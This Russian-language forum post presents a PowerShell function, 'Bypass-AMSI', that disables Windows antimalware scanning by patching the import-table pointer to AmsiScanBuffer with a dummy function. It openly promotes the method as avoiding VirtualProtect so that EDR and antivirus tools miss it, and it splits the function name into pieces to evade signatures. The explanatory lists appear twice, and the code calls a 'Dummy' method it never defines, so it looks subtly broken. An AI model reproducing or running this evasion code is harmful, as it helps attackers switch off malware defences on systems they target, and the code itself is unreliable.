devqp
Специалист
Метод обхода AMSI (Antimalware Scan Interface) использует записываемые записи в таблице импорта (IAT) зависимостей программы, избегая подозрительных вызовов VirtualProtect. Это позволяет модифицировать память без триггерения мониторинга EDR/антивирусов.
Принцип работы:
1. Локализуется указатель на целевую функцию AMSI в памяти
2. Через поиск в IAT находится записываемое место
3. Оригинальный указатель заменяется на пустышку
PowerShell-реализация:
Ключевые особенности:
• Поиск целевого указателя через GetProcAddress и смещение в IAT
• Чтение памяти процесса через ReadProcessMemory
• Замена оригинального указателя функцией-заглушкой
• Отсутствие вызовов VirtualProtect, что снижает детектабельность
Принцип работы:
1. Локализуется указатель на целевую функцию AMSI в памяти
2. Через поиск в IAT находится записываемое место
3. Оригинальный указатель заменяется на пустышку
PowerShell-реализация:
Код:
function Bypass-AMSI {
param($InitialStart=0x50000, $NegativeOffset=0x50000, $MaxOffset=0x1000000, $ReadBytes=0x50000)
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class APIs {
[DllImport("kernel32.dll")]
public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, ref uint lpNumberOfBytesRead);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", CharSet=CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
}
"@
$string = 'amsi.dll'
$string2 = 'AmsiScan'
$string3 = 'Buffer'
$Address = [APIs]::GetModuleHandle($string)
$funcAddr = [APIs]::GetProcAddress($Address, $string2 + $string3)
$Handle = [APIs]::GetCurrentProcess()
$dummy = 0
for($j=$InitialStart; $j -lt $MaxOffset; $j+=$NegativeOffset) {
$MethodPointerToSearch = [IntPtr]($funcAddr.ToInt64() - $j)
$ReadedMemoryArray = [byte[]]::new($ReadBytes)
[void][APIs]::ReadProcessMemory($Handle, $MethodPointerToSearch, $ReadedMemoryArray, $ReadBytes, [ref]$dummy)
for($i=0; $i -lt $ReadedMemoryArray.Length-8; $i+=8) {
$bytes = $ReadedMemoryArray[$i..($i+7)]
$PointerToCompare = [BitConverter]::ToInt64($bytes, 0)
if($PointerToCompare -eq $funcAddr.ToInt64()) {
$MemoryToPatch = [IntPtr]($MethodPointerToSearch.ToInt64() + $i)
break
}
}
}
$dummyPointer = [APIs].GetMethod('Dummy').MethodHandle.GetFunctionPointer()
$buf = [IntPtr[]]($dummyPointer)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $MemoryToPatch, 1)
}
Ключевые особенности:
• Поиск целевого указателя через GetProcAddress и смещение в IAT
• Чтение памяти процесса через ReadProcessMemory
• Замена оригинального указателя функцией-заглушкой
• Отсутствие вызовов VirtualProtect, что снижает детектабельность